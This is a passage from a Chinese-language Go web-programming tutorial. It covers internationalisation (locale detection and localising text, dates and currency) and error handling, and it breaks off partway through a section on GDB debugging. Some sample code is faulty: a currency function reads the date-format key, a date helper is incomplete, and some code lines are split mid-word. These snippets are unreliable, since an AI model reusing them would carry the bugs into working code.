國際化與本地化（Internationalization and localization，通常用 i18n 和 L10N 表示），國際化是將針對某個地區設計的程式進行重構，以使它能夠在更多地區使用，本地化是指在一個針對國際化的程式中增加對新地區的支援。

目前，Go 語言的標準套件沒有提供對 i18n 的支援，但有一些比較簡單的第三方實現，這一章我們將實現一個 go-i18n 函式庫，用來支援 Go 語言的 i18n。

所謂的國際化：就是根據特定的 locale 資訊，提取與之相應的字串或其它一些東西（比如時間和貨幣的格式）等等。這涉及到三個問題：

- 1、如何確定 locale。
- 2、如何儲存與 locale 相關的字串或其它資訊。
- 3、如何根據 locale 提取字串和其它相應的資訊。

在第一小節裡，我們將介紹如何設定正確的 locale 以便讓訪問站點的使用者能夠獲得與其語言相應的頁面。第二小節將介紹如何處理或儲存字串、貨幣、時間日期等與 locale 相關的資訊，第三小節將介紹如何實現國際化站點，即如何根據不同 locale 返回不同合適的內容。透過這三個小節的學習，我們將獲得一個完整的 i18n 方案。

### 目錄



### links

- [目錄](#)

- 上一章: [第九章總結](#)
- 下一節: [設定預設地區](#)

## 10.1 設定預設地區

### 什麼是 Locale

Locale 是一組描述世界上某一特定區域文字格式和語言習慣的設定的集合。locale 名通常由三個部分組成：第一部分，是一個強制性的，表示語言的縮寫，例如"en"表示英文或"zh"表示中文。第二部分，跟在一個下劃線之後，是一個可選的國家說明符，用於區分講同一種語言的不同國家，例如"en\_US"表示美國英語，而"en\_UK"表示英國英語。最後一部分，跟在一個句點之後，是可選的字符集說明符，例如"zh\_CN.gb2312"表示中國使用 gb2312 字符集。

GO 語言預設採用"UTF-8"編碼集，所以我們實現 i18n 時不考慮第三部分，接下來我們都採用 locale 描述的前面兩部分來作為 i18n 標準的 locale 名。

在 Linux 和 Solaris 系統中可以透過 `locale -a` 命令列舉所有支援的地區名，讀者可以看到這些地區名的命名規範。對於 BSD 等系統，沒有 locale 命令，但是地區資訊儲存在 `/usr/share/locale` 中。

### 設定 Locale

有了上面對 locale 的定義，那麼我們就需要根據使用者的資訊(訪問資訊、個人資訊、訪問域名等)來設定與之相關的 locale，我們可以透過如下幾種方式來設定使用者的 locale。

### 透過域名設定 Locale

設定 Locale 的辦法之一是在應用執行的時候採用域名分級的方式，例如，我們採用 `www.asta.com` 當做我們的英文站(預設站)，而把域名 `www.asta.cn` 當做中文站。這樣透過在應用裡面設定域名和相應的 locale 的對應關係，就可以設定好地區。這樣處理有幾點好處：

- 透過 URL 就可以很明顯的識別
- 使用者可以透過域名很直觀的知道將訪問那種語言的站點
- 在 Go 程式中實現非常的簡單方便，透過一個 map 就可以實現
- 有利於搜尋引擎抓取，能夠提高站點的 SEO

我們可以透過下面的程式碼來實現域名的對應 locale：

```
if r.Host == "www.asta.com" {
    i18n.SetLocale("en")
} else if r.Host == "www.asta.cn" {
    i18n.SetLocale("zh-CN")
} else if r.Host == "www.asta.tw" {
    i18n.SetLocale("zh-TW")
}
```

當然除了整域名設定地區之外，我們還可以透過子域名來設定地區，例如"en.asta.com"表示英文站點，"cn.asta.com"表示中文站點。實現程式碼如下所示：

```
prefix := strings.Split(r.Host, ".")

if prefix[0] == "en" {
    i18n.SetLocale("en")
} else if prefix[0] == "cn" {
    i18n.SetLocale("zh-CN")
} else if prefix[0] == "tw" {
    i18n.SetLocale("zh-TW")
}
```

透過域名設定 **Locale** 有如上所示的優點，但是我們一般開發 **Web** 應用的時候不會採用這種方式，因為首先域名成本比較高，開發一個 **Locale** 就需要一個域名，而且往往統一名稱的域名不一定能申請的到，其次我們不願意為每個站點去本地化一個配置，而更多的是採用 url 後面帶引數的方式，請看下面的介紹。

## 從域名引數設定 **Locale**

目前最常用的設定 **Locale** 的方式是在 **URL** 裡面帶上引數，例如

www.asta.com/hello?locale=zh 或者 www.asta.com/zh/hello。這樣我們就可以設定地區：`i18n.SetLocale(params["locale"])`。

這種設定方式幾乎擁有前面講的透過域名設定 Locale 的所有優點，它採用 RESTful 的方式，以使得我們不需要增加額外的方法來處理。但是這種方式需要在每一個的 link 裡面增加相應的引數 locale，這也許有點複雜而且有時候甚至相當的繁瑣。不過我們可以寫一個通用的函式 url，讓所有的 link 地址都透過這個函式來產生，然後在這個函式裡面增加 `locale=params["locale"]` 引數來緩解一下。

也許我們希望 URL 地址看上去更加的 RESTful 一點，例如：

`www.asta.com/en/books` (英文站點)和 `www.asta.com/zh/books` (中文站點)，這種方式的 URL 更加有利於 SEO，而且對於使用者也比較友好，能夠透過 URL 直觀的知道訪問的站點。那麼這樣的 URL 地址可以透過 router 來取得 locale(參考 REST 小節裡面介紹的 router 外掛實現)：

```
mux.Get("/:locale/books", listbook)
```

## 從客戶端設定地區

在一些特殊的情況下，我們需要根據客戶端的資訊而不是透過 URL 來設定 Locale，這些資訊可能來自於客戶端設定的喜好語言(瀏覽器中設定)，使用者的 IP 地址，使用者在註冊的時候填寫的所在地資訊等。這種方式比較適合 Web 為基礎的應用。

- Accept-Language

客戶端請求的時候在 HTTP 頭資訊裡面有 `Accept-Language`，一般的客戶端都會設定該資訊，下面是 Go 語言實現的一個簡單的根據 `Accept-Language` 實現設定地區的程式碼：

```
AL := r.Header.Get("Accept-Language")
if AL == "en" {
    i18n.SetLocale("en")
} else if AL == "zh-CN" {
    i18n.SetLocale("zh-CN")
} else if AL == "zh-TW" {
    i18n.SetLocale("zh-TW")
}
```

當然在實際應用中，可能需要更加嚴格的判斷來進行設定地區

- IP 地址

另一種根據客戶端來設定地區就是使用者訪問的 IP，我們根據相應的 IP 函式庫，對應訪問的 IP 到地區，目前全球比較常用的就是 **GeoIP Lite Country** 這個函式庫。這種設定地區的機制非常簡單，我們只需要根據 IP 資料庫查詢使用者的 IP 然後返回國家地區，根據返回的結果設定對應的地區。

- 使用者 profile

當然你也可以讓使用者根據你提供的下拉選單或者別的什麼方式的設定相應的 `locale`，然後我們將使用者輸入的資訊，儲存到與它帳號相關的 `profile` 中，當用戶再次登陸的時候把這個設定複寫到 `locale` 設定中，這樣就可以保證該使用者每次訪問都是基於自己先前設定的 `locale` 來獲得頁面。

## 總結

透過上面的介紹可知，設定 `Locale` 可以有很多種方式，我們應該根據需求的不同來選擇不同的設定 `Locale` 的方法，以讓使用者能以它最熟悉的方式，獲得我們提供的服務，提高應用的使用者友好性。

## links

- [目錄](#)
- 上一節: [國際化和本地化](#)
- 下一節: [本地化資源](#)

## 10.2 本地化資源

前面小節我們介紹瞭如何設定 `Locale`，設定好 `Locale` 之後我們需要解決的問題就是如何儲存相應的 `Locale` 對應的資訊呢？這裡面的資訊包括：文字資訊、時間和日期、貨幣值、圖片、包含檔案以及檢視等資源。那麼接下來我們將對這些資訊一一進行介紹，Go 語言中我們把這些格式資訊儲存在 JSON 中，然後透過合適的方式展現出來。(接下來以中文和英文兩種語言對比舉例，儲存格式檔案 `en.json` 和 `zh-CN.json`)

### 本地化文字訊息

文字資訊是編寫 Web 應用中最常用到的，也是本地化資源中最多的資訊，想要以適合本地語言的方式來顯示文字資訊，可行的一種方案是：建立需要的語言相應的 `map` 來維護一個 `key-value` 的關係，在輸出之前按需從適合的 `map` 中去取得相應的文字，如下是一個簡單的範例：



```
package main

import "fmt"

var locales map[string]map[string]string

func main() {
    locales = make(map[string]map[string]string, 2)
    en := make(map[string]string, 10)
    en["pea"] = "pea"
    en["bean"] = "bean"
    locales["en"] = en
    cn := make(map[string]string, 10)
    cn["pea"] = "豌豆"
    cn["bean"] = "毛豆"
    locales["zh-CN"] = cn
    lang := "zh-CN"
    fmt.Println(msg(lang, "pea"))
    fmt.Println(msg(lang, "bean"))
}

func msg(locale, key string) string {
    if v, ok := locales[locale]; ok {
        if v2, ok := v[key]; ok {
            return v2
        }
    }
    return ""
}
```

上面範例示範了不同 locale 的文字翻譯，實現了中文和英文對於同一個 key 顯示不同語言的實現，上面實現了中文的文字訊息，如果想切換到英文版本，只需要把 lang 設定為 en 即可。

有些時候僅是 key-value 替換是不能滿足需要的，例如 "I am 30 years old"，中文表達是 "我今年 30 歲了"，而此處的 30 是一個變數，該怎麼辦呢？這個時候，我們可以結合 `fmt.Printf` 函式來實現，請看下面的程式碼：

```
en["how old"] = "I am %d years old"
cn["how old"] = "我今年%d 歲了"

fmt.Printf(msg(lang, "how old"), 30)
```

上面的範例程式碼僅用以示範內部的實現方案，而實際資料是儲存在 JSON 裡面的，所以我們可以透過 `json.Unmarshal` 來為相應的 map 填充資料。

## 本地化日期和時間

因為時區的關係，同一時刻，在不同的地區，表示是不一樣的，而且因為 `Locale` 的關係，時間格式也不盡相同，例如中文環境下可能顯示：`2012 年 10 月 24 日 星期三 23 時 11 分 13 秒 CST`，而在英文環境下可能顯示：`Wed Oct 24 23:11:13 CST 2012`。這裡面我們需要解決兩點：

1. 時區問題
2. 格式問題

`$GOROOT/lib/time` 套件中的 `timeinfo.zip` 含有 `locale` 對應的時區的定義，為了獲得對應於當前 `locale` 的時間，我們應首先使用 `time.LoadLocation(name string)` 取得相應於地區的 `locale`，比如 `Asia/Shanghai` 或 `America/Chicago` 對應的時區資訊，然後再利用此資訊與呼叫 `time.Now` 獲得的 `Time` 物件協作來獲得最終的時間。詳細的請看下面的例子 (該例子採用上面例子的一些變數)：

```
en["time_zone"] = "America/Chicago"
cn["time_zone"] = "Asia/Shanghai"

loc, _ := time.LoadLocation(msg(lang, "time_zone"))
t := time.Now()
t = t.In(loc)
fmt.Println(t.Format(time.RFC3339))
```

我們可以透過類似處理文字格式的方式來解決時間格式的問題，舉例如下：

```
en["date_format"]="%Y-%m-%d %H:%M:%S"
cn["date_format"]="%Y 年%m 月%d 日 %H 時%M 分%S 秒"

fmt.Println(date(msg(lang, "date_format"), t))

func date(fomate string, t time.Time) string{
    year, month, day = t.Date()
    hour, min, sec = t.Clock()
    //解析相應的%Y %m %d %H %M %S 然後返回資訊
    // %Y 替換成 2012

    // %m 替換成 10

    // %d 替換成 24

}
```

## 本地化貨幣值

各個地區的貨幣表示也不一樣，處理方式也與日期差不多，細節請看下面程式碼：

```
en["money"] = "USD %d"
cn["money"] = "¥%d 元"

fmt.Println(money_format(msg(lang, "date_format"), 100))

func money_format(fomate string, money int64) string{
    return fmt.Sprintf(fomate, money)
}
```

## 本地化檢視和資源

我們可能會根據 **Locale** 的不同來展示檢視，這些檢視包含不同的圖片、css、js 等各種靜態資源。那麼應如何來處理這些資訊呢？首先我們應按 **locale** 來組織檔案資訊，請看下面的檔案目錄安排：

```
views
|--en    //英文範本
    |--images    //儲存圖片資訊
    |--js        //儲存 JS 檔案
    |--css       //儲存 css 檔案
    index.tpl    //使用者首頁
    login.tpl    //登陸首頁
|--zh-CN //中文範本
    |--images
    |--js
    |--css
    index.tpl
    login.tpl
```

有了這個目錄結構後我們就可以在渲染的地方這樣來實現程式碼：

```
s1, _ := template.ParseFiles("views/"+lang+"/index.tpl")
VV.Lang=lang
s1.Execute(os.Stdout, VV)
```

而對於裡面的 **index.tpl** 裡面的資源設定如下：

```
// js 檔案
<script type="text/javascript" src="views/{{.Lang}}/js/jquery/jquery-1.8.0.min.js"></script>
// css 檔案
<link href="views/{{.Lang}}/css/bootstrap-responsive.min.css" rel="stylesheet">
// 圖片檔案

```

採用這種方式來本地化檢視以及資源時，我們就可以很容易的進行擴充套件了。

## 總結

本小節介紹瞭如何使用及儲存本地資源，有時需要透過轉換函式來實現，有時透過 `lang` 來設定，但是最終都是透過 `key-value` 的方式來儲存 `Locale` 對應的資料，在需要時取出相應於 `Locale` 的資訊後，如果是文字資訊就直接輸出，如果是時間日期或者貨幣，則需要先透過 `fmt.Printf` 或其他格式化函式來處理，而對於不同 `Locale` 的檢視和資源則是最簡單的，只要在路徑裡面增加 `lang` 就可以實現了。

## links

- [目錄](#)
- 上一節: [設定預設地區](#)
- 下一節: [國際化站點](#)

## 10.3 國際化站點

前面小節介紹瞭如何處理本地化資源，即 **Locale** 一個相應的配置檔案，那麼如果處理多個的本地化資源呢？而對於一些我們經常用到的例如：簡單的文字翻譯、時間日期、數字等如果處理呢？本小節將一一解決這些問題。

### 管理多個本地包

在開發一個應用的時候，首先我們要決定是隻支援一種語言，還是多種語言，如果要支援多種語言，我們則需要制定一個組織結構，以方便將來更多語言的新增。在此我們設計如下：**Locale** 有關的檔案放置在 `config/locales` 下，假設你要支援中文和英文，那麼你需要在這個資料夾下放置 `en.json` 和 `zh.json`。大概的內容如下所示：

```
# zh.json

{
  "zh": {
    "submit": "提交",
    "create": "建立"
  }
}

# en.json

{
  "en": {
    "submit": "Submit",
    "create": "Create"
  }
}
```

爲了支援國際化，在此我們使用了一個國際化相關的套件——[go-i18n](#)，首先我們向 `go-i18n` 套件註冊 `config/locales` 這個目錄，以載入所有的 `locale` 檔案

```
Tr:=i18n.NewLocale()  
Tr.LoadPath("config/locales")
```

這個套件使用起來很簡單，你可以透過下面的方式進行測試：

```
fmt.Println(Tr.Translate("submit"))  
//輸出 Submit  
  
Tr.SetLocale("zh")  
fmt.Println(Tr.Translate("submit"))  
//輸出“提交”
```

## 自動載入本地套件

上面我們介紹瞭如何自動載入自訂語言套件，其實 `go-i18n` 函式庫已經預載入了很多預設的格式資訊，例如時間格式、貨幣格式，使用者可以在自訂配置時改寫這些預設配置，請看下面的處理過程：

```
//載入預設配置檔案，這些檔案都放在 go-i18n/locales 下面  
  
//檔案命名 zh.json、en.json、en-US.json 等，可以不斷的擴充套件支援更多的語言  
  
func (il *IL) loadDefaultTranslations(dirPath string) error {  
    dir, err := os.Open(dirPath)  
    if err != nil {  
        return err  
    }  
    defer dir.Close()  
  
    names, err := dir.Readdirnames(-1)  
    if err != nil {  
        return err  
    }  
}
```

```
for _, name := range names {
    fullPath := path.Join(dirPath, name)

    fi, err := os.Stat(fullPath)
    if err != nil {
        return err
    }

    if fi.IsDir() {
        if err := il.loadTranslations(fullPath); err != nil
    {
        return err
    }
    } else if locale := il.matchingLocaleFromFileName(name);
locale != "" {
        file, err := os.Open(fullPath)
        if err != nil {
            return err
        }
        defer file.Close()

        if err := il.loadTranslation(file, locale); err != n
il {
            return err
        }
    }
}

return nil
}
```

透過上面的方法載入配置資訊到預設的檔案，這樣我們就可以在我們沒有自訂時間資訊的時候執行如下的程式碼取得對應的資訊：



//locale=zh 的情況下，執行如下程式碼：

```
fmt.Println(Tr.Time(time.Now()))
//輸出：2009 年 1 月 08 日 星期四 20:37:58 CST

fmt.Println(Tr.Time(time.Now(), "long"))
//輸出：2009 年 1 月 08 日

fmt.Println(Tr.Money(11.11))
//輸出：¥11.11
```

## template mapfunc

上面我們實現了多個語言套件的管理和載入，而一些函式的實現是基於邏輯層的，例如："Tr.Translate"、"Tr.Time"、"Tr.Money"等，雖然我們在邏輯層可以利用這些函式把需要的引數進行轉換後在範本層渲染的時候直接輸出，但是如果我們想在模版層直接使用這些函式該怎麼實現呢？不知你是否還記得，在前面介紹範本的時候說過：Go 語言的範本支援自訂範本函式，下面是我們實現的方便操作的 mapfunc：

### 1. 文字資訊

文字資訊呼叫 `Tr.Translate` 來實現相應的資訊轉換，mapFunc 的實現如下：

```
func I18nT(args ...interface{}) string {
    ok := false
    var s string
    if len(args) == 1 {
        s, ok = args[0].(string)
    }
    if !ok {
        s = fmt.Sprint(args...)
    }
    return Tr.Translate(s)
}
```

註冊函式如下：

```
t.Funcs(template.FuncMap{"T": I18nT})
```

範本中使用如下：

```
{{.V.Submit | T}}
```

### 1. 時間日期

時間日期呼叫 `Tr.Time` 函式來實現相應的時間轉換，`mapFunc` 的實現如下：

```
func I18nTimeDate(args ...interface{}) string {  
    ok := false  
    var s string  
    if len(args) == 1 {  
        s, ok = args[0].(string)  
    }  
    if !ok {  
        s = fmt.Sprint(args...)  
    }  
    return Tr.Time(s)  
}
```

註冊函式如下：

```
t.Funcs(template.FuncMap{"TD": I18nTimeDate})
```

範本中使用如下：

```
{{.V.Now | TD}}
```

## 1. 貨幣資訊

貨幣呼叫 `Tr.Money` 函式來實現相應的時間轉換，`mapFunc` 的實現如下：

```
func I18nMoney(args ...interface{}) string {
    ok := false
    var s string
    if len(args) == 1 {
        s, ok = args[0].(string)
    }
    if !ok {
        s = fmt.Sprint(args...)
    }
    return Tr.Money(s)
}
```

註冊函式如下：

```
t.Funcs(template.FuncMap{"M": I18nMoney})
```

範本中使用如下：

```
{{.V.Money | M}}
```

## 總結

透過這小節我們知道了如何實現一個多語言套件的 Web 應用，透過自訂語言套件我們可以方便的實現多語言，而且透過配置檔案能夠非常方便的擴充多語言，預設情況下，`go-i18n` 會自定載入一些公共的配置資訊，例如時間、貨幣等，我們就可以非常方便的使用，同時爲了支援在範本中使用這些函式，也實現了相應的範本函式，這樣就允許我們在開發 Web 應用的時候直接在範本中透過 `pipeline` 的方式來操作多語言套件。

## links

- [目錄](#)
- 上一節: [本地化資源](#)
- 下一節: [小結](#)

## 10.4 小結

透過這一章的介紹，讀者應該對如何操作 i18n 有了深入的瞭解，我也根據這一章介紹的內容實現了一個開源的解決方案 go-i18n：<https://github.com/astaxie/go-i18n> 透過這個開源函式庫我們可以很方便的實現多語言版本的 Web 應用，使得我們的應用能夠輕鬆的實現國際化。如果你發現這個開源函式庫中的錯誤或者那些缺失的地方，請一起參與到這個開源專案中來，讓我們的這個函式庫爭取成為 Go 的標準函式庫。

## links

- [目錄](#)
- 上一節: [國際化站點](#)
- 下一節: [錯誤處理，故障排除和測試](#)

## 11 錯誤處理，除錯和測試

我們經常會看到很多程式設計師大部分的"程式設計"時間都花費在檢查 bug 和修復 bug 上。無論你是在編寫修改程式碼還是重構系統，幾乎都是花費大量的時間在進行故障排除和測試，外界都覺得我們程式設計師是設計師，能夠把一個系統從無做到有，是一項很偉大的工作，而且是相當有趣的工作，但事實上我們每天都是徘徊在排錯、除錯、測試之間。當然如果你有良好的習慣和技術方案來直面這些問題，那麼你就有可能將排錯時間減到最少，而儘可能的將時間花費在更有價值的事情上。

但是遺憾的是很多程式設計師不願意在錯誤處理、除錯和測試能力上下工夫，導致後面應用上線之後查詢錯誤、定位問題花費更多的時間。所以我們在設計應用之前就做好錯誤處理規劃、測試案例等，那麼將來修改程式碼、升級系統都將變得簡單。

開發 Web 應用過程中，錯誤自然難免，那麼如何更好的找到錯誤原因，解決問題呢？11.1 小節將介紹 Go 語言中如何處理錯誤，如何設計自己的套件、函式的錯誤處理，11.2 小節將介紹如何使用 GDB 來除錯我們的程式，動態執行情況下各種變數資訊，執行情況的監控和除錯。

11.3 小節將對 Go 語言中的單元測試進行深入的探討，並範例如何來編寫單元測試，Go 的單元測試規則規範如何定義，以保證以後升級修改執行相應的測試程式碼就可以進行最小化的測試。

長期以來，培養良好的除錯、測試習慣一直是很多程式設計師逃避的事情，所以現在你不要再逃避了，就從你現在的專案開發，從學習 Go Web 開發開始養成良好的習慣。

### 目錄



### links

- [目錄](#)
- [上一章: 第十章總結](#)

- 下一節: [錯誤處理](#)

## 11.1 錯誤處理

Go 語言主要的設計準則是：簡潔、明白，簡潔是指語法和 C 類似，相當的簡單，明白是指任何語句都是很明顯的，不含有任何隱含的東西，在錯誤處理方案的設計中也貫徹了這一思想。我們知道在 C 語言裡面是透過返回 -1 或者 NULL 之類別的資訊來表示錯誤，但是對於使用者來說，不檢視相應的 API 說明文件，根本搞不清楚這個返回值究竟代表什麼意思，比如：返回 0 是成功，還是失敗，而 Go 定義了一個叫做 `error` 的型別，來顯式表達錯誤。在使用時，透過把返回的 `error` 變數與 `nil` 的比較，來判定操作是否成功。例如 `os.Open` 函式在開啓檔案失敗時將返回一個不爲 `nil` 的 `error` 變數

```
func Open(name string) (file *File, err error)
```

下面這個例子透過呼叫 `os.Open` 開啓一個檔案，如果出現錯誤，那麼就會呼叫 `log.Fatal` 來輸出錯誤資訊：

```
f, err := os.Open("filename.ext")
if err != nil {
    log.Fatal(err)
}
```

類似於 `os.Open` 函式，標準套件中所有可能出錯的 API 都會返回一個 `error` 變數，以方便錯誤處理，這個小節將詳細地介紹 `error` 型別的設計，和討論開發 Web 應用中如何更好地處理 `error`。

### Error 型別

`error` 型別是一個介面型別，這是它的定義：



```
type error interface {  
    Error() string  
}
```

`error` 是一個內建的介面型別，我們可以在 `/builtin/` 套件下面找到相應的定義。而我們在很多內部套件裡面用到的 `error` 是 `errors` 套件下面的實現的私有結構 `errorString`

```
// errorString is a trivial implementation of error.  
type errorString struct {  
    s string  
}  
  
func (e *errorString) Error() string {  
    return e.s  
}
```

你可以透過 `errors.New` 把一個字串轉化為 `errorString`，以得到一個滿足介面 `error` 的物件，其內部實現如下：

```
// New returns an error that formats as the given text.  
func New(text string) error {  
    return &errorString{text}  
}
```

下面這個例子示範瞭如何使用 `errors.New`：

```
func Sqrt(f float64) (float64, error) {  
    if f < 0 {  
        return 0, errors.New("math: square root of negative number")  
    }  
    // implementation  
}
```

在下面的例子中，我們在呼叫 `Sqrt` 的時候傳遞的一個負數，然後就得到了 non-nil 的 `error` 物件，將此物件與 `nil` 比較，結果為 `true`，所以 `fmt.Println`(`fmt` 套件在處理 `error` 時會呼叫 `Error` 方法)被呼叫，以輸出錯誤，請看下面呼叫的範例程式碼：

```
f, err := Sqrt(-1)  
if err != nil {  
    fmt.Println(err)  
}
```

## 自訂 Error

透過上面的介紹我們知道 `error` 是一個 `interface`，所以在實現自己的套件的時候，透過定義實現此介面的結構，我們就可以實現自己的錯誤定義，請看來自 `Json` 套件的範例：

```
type SyntaxError struct {  
    msg      string // 錯誤描述  
    Offset   int64  // 錯誤發生的位置  
}  
  
func (e *SyntaxError) Error() string { return e.msg }
```

`Offset` 欄位在呼叫 `Error` 的時候不會被列印，但是我們可以透過型別斷言取得錯誤型別，然後可以列印相應的錯誤資訊，請看下面的例子：

```
if err := dec.Decode(&val); err != nil {  
    if serr, ok := err.(*json.SyntaxError); ok {  
        line, col := findLine(f, serr.Offset)  
        return fmt.Errorf("%s:%d:%d: %v", f.Name(), line, col, e  
rr)  
    }  
    return err  
}
```

需要注意的是，函式返回自訂錯誤時，返回值推薦設定為 `error` 型別，而非自訂錯誤型別，特別需要注意的是不應預宣告自訂錯誤型別的變數。例如：

```
func Decode() *SyntaxError { // 錯誤，將可能導致上層呼叫者 err!=nil  
    的判斷永遠為 true。  
    var err *SyntaxError      // 預宣告錯誤變數  
    if 出錯條件 {  
        err = &SyntaxError{}  
    }  
    return err                // 錯誤，err 永遠等於非 nil，導致上  
    層呼叫者 err!=nil 的判斷始終為 true  
}
```

原因見 [http://golang.org/doc/faq#nil\\_error](http://golang.org/doc/faq#nil_error)

上面例子簡單的示範瞭如何自訂 `Error` 型別。但是如果我們還需要更複雜的錯誤處理呢？此時，我們來參考一下 `net` 套件採用的方法：

```
package net

type Error interface {
    error
    Timeout() bool    // Is the error a timeout?
    Temporary() bool  // Is the error temporary?
}
```

在呼叫的地方，透過型別斷言 `err` 是不是 `net.Error`，來細化錯誤的處理，例如下面的例子，如果一個網路發生臨時性錯誤，那麼將會 `sleep` 1 秒之後重試：

```
if nerr, ok := err.(net.Error); ok && nerr.Temporary() {
    time.Sleep(1e9)
    continue
}
if err != nil {
    log.Fatal(err)
}
```

## 錯誤處理

Go 在錯誤處理上採用了與 C 類似的檢查返回值的方式，而不是其他多數主流語言採用的異常方式，這造成了程式碼編寫上的一個很大的缺點：錯誤處理程式碼的冗餘，對於這種情況是我們透過複用檢測函式來減少類似的程式碼。

請看下面這個例子程式碼：

```
func init() {
    http.HandleFunc("/view", viewRecord)
}

func viewRecord(w http.ResponseWriter, r *http.Request) {
    c := appengine.NewContext(r)
    key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil)
    record := new(Record)
    if err := datastore.Get(c, key, record); err != nil {
        http.Error(w, err.Error(), 500)
        return
    }
    if err := viewTemplate.Execute(w, record); err != nil {
        http.Error(w, err.Error(), 500)
    }
}
```

上面的例子中取得資料和範本展示呼叫時都有檢測錯誤，當有錯誤發生時，呼叫了統一的處理函式 `http.Error`，返回給客戶端 500 錯誤碼，並顯示相應的錯誤資料。但是當越來越多的 `HandleFunc` 加入之後，這樣的錯誤處理邏輯程式碼就會越來越多，其實我們可以透過自訂路由器來縮減程式碼(實現的思路可以參考第三章的 HTTP 詳解)。

```
type appHandler func(http.ResponseWriter, *http.Request) error

func (fn appHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
    if err := fn(w, r); err != nil {
        http.Error(w, err.Error(), 500)
    }
}
```

上面我們定義了自訂的路由器，然後我們可以透過如下方式來註冊函式：

```
func init() {  
    http.Handle("/view", appHandler(viewRecord))  
}
```

當請求/view 的時候我們的邏輯處理可以變成如下程式碼，和第一種實現方式相比較已經簡單了很多。

```
func viewRecord(w http.ResponseWriter, r *http.Request) error {  
    c := appengine.NewContext(r)  
    key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil)  
    record := new(Record)  
    if err := datastore.Get(c, key, record); err != nil {  
        return err  
    }  
    return viewTemplate.Execute(w, record)  
}
```

上面的例子錯誤處理的時候所有的錯誤返回給使用者的都是 500 錯誤碼，然後打印出來相應的錯誤程式碼，其實我們可以把這個錯誤資訊定義的更加友好，除錯的時候也方便定位問題，我們可以自訂返回的錯誤型別：

```
type appError struct {  
    Error    error  
    Message string  
    Code     int  
}
```

這樣我們的自訂路由器可以改成如下方式：

```
type appHandler func(http.ResponseWriter, *http.Request) *appError

func (fn appHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
    if e := fn(w, r); e != nil { // e is *appError, not os.Error.

        c := appengine.NewContext(r)
        c.Errorf("%v", e.Error)
        http.Error(w, e.Message, e.Code)
    }
}
```

這樣修改完自訂錯誤之後，我們的邏輯處理可以改成如下方式：

```
func viewRecord(w http.ResponseWriter, r *http.Request) *appError {
    c := appengine.NewContext(r)
    key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil)
    record := new(Record)
    if err := datastore.Get(c, key, record); err != nil {
        return &appError{err, "Record not found", 404}
    }
    if err := viewTemplate.Execute(w, record); err != nil {
        return &appError{err, "Can't display record", 500}
    }
    return nil
}
```

如上所示，在我們訪問 **view** 的時候可以根據不同的情況取得不同的錯誤碼和錯誤資訊，雖然這個和第一個版本的程式碼量差不多，但是這個顯示的錯誤更加明顯，提示的錯誤資訊更加友好，擴充套件性也比第一個更好。

## 總結

在程式設計中，容錯是相當重要的一部分工作，在 Go 中它是透過錯誤處理來實現的，`error` 雖然只是一個介面，但是其變化卻可以有很多，我們可以根據自己的需求來實現不同的處理，最後介紹的錯誤處理方案，希望能給大家在如何設計更好 Web 錯誤處理方案上帶來一點思路。

## links

- [目錄](#)
- 上一節: [錯誤處理，除錯和測試](#)
- 下一節: [使用 GDB 除錯](#)



## 11.2 使用 GDB 除錯

開發程式過程中除錯程式碼是開發者經常要做的一件事情，Go 語言不像 PHP、Python 等動態語言，只要修改不需要編譯就可以直接輸出，而且可以動態的在執行環境下列印資料。當然 Go 語言也可以透過 `Println` 之類別的列印資料來除錯，但是每次都需要重新編譯，這是一件相當麻煩的事情。我們知道在 Python 中有 `pdb/ipdb` 之類別的工具除錯，Javascript 也有類似工具，這些工具都能夠動態的顯示變數資訊，單步除錯等。不過慶幸的是 Go 也有類似的工具支援：GDB。Go 內部已經內建支援了 GDB，所以，我們可以透過 GDB 來進行除錯，那麼本小節就來介紹一下如何透過 GDB 來除錯 Go 程式。

另外建議純 go 程式碼使用 [delve](#) 可以很好的進行 Go 程式碼除錯

### GDB 除錯簡介

GDB 是 FSF(自由軟體基金會)釋出的一個強大的類別 UNIX 系統下的程式除錯工具。使用 GDB 可以做如下事情：

1. 啟動程式，可以按照開發者的自訂要求執行程式。
2. 可讓被除錯的程式在開發者設定的調置的斷點處停住。（斷點可以是條件表示式）
3. 當程式被停住時，可以檢查此時程式中所發生的事。
4. 動態的改變當前程式的執行環境。

目前支援除錯 Go 程式的 GDB 版本必須大於 7.1。

編譯 Go 程式的時候需要注意以下幾點

1. 傳遞引數 `-ldflags "-s"`，忽略 debug 的列印資訊
2. 傳遞 `-gcflags "-N -l"` 引數，這樣可以忽略 Go 內部做的一些優化，聚合變數和函式等優化，這樣對於 GDB 除錯來說非常困難，所以在編譯的時候加入這兩個引數避免這些優化。

### 常用命令

GDB 的一些常用命令如下所示

- list

簡寫命令 `l`，用來顯示原始碼，預設顯示十行程式碼，後面可以帶上引數顯示的具體行，例如：`list 15`，顯示十行程式碼，其中第 15 行在顯示的十行裡面的中間，如下所示。

```
10         time.Sleep(2 * time.Second)
11         c <- i
12     }
13     close(c)
14 }
15
16 func main() {
17     msg := "Starting main"
18     fmt.Println(msg)
19     bus := make(chan int)
```

- break

簡寫命令 `b`，用來設定斷點，後面跟上引數設定斷點的行數，例如 `b 10` 在第十行設定斷點。

- delete 簡寫命令 `d`，用來刪除斷點，後面跟上斷點設定的序號，這個序號可以透過 `info breakpoints` 取得相應的設定的斷點序號，如下是顯示的設定斷點序號。

Num	Type	Disp	Enb	Address	What
2	breakpoint	keep	y	0x0000000000400dc3	in main

.main at /home/xiemengjun/gdb.go:23  
breakpoint already hit 1 time

- backtrace

簡寫命令 `bt`，用來列印執行的程式碼過程，如下所示：

```
#0  main.main () at /home/xiemengjun/gdb.go:23
#1  0x00000000000040d61e in runtime.main () at /home/xiemengjun/go/src/pkg/runtime/proc.c:244
#2  0x00000000000040d6c1 in schedunlock () at /home/xiemengjun/go/src/pkg/runtime/proc.c:267
#3  0x0000000000000000 in ?? ()
```

- info

info 命令用來顯示資訊，後面有幾種引數，我們常用的有如下幾種：

- info locals

顯示當前執行的程式中的變數值

- info breakpoints

顯示當前設定的斷點列表

- info goroutines

顯示當前執行的 goroutine 列表，如下程式碼所示，帶\*的表示當前執行的

```
* 1  running runtime.gosched
* 2  syscall runtime.entersyscall
   3  waiting runtime.gosched
   4  runnable runtime.gosched
```

- print

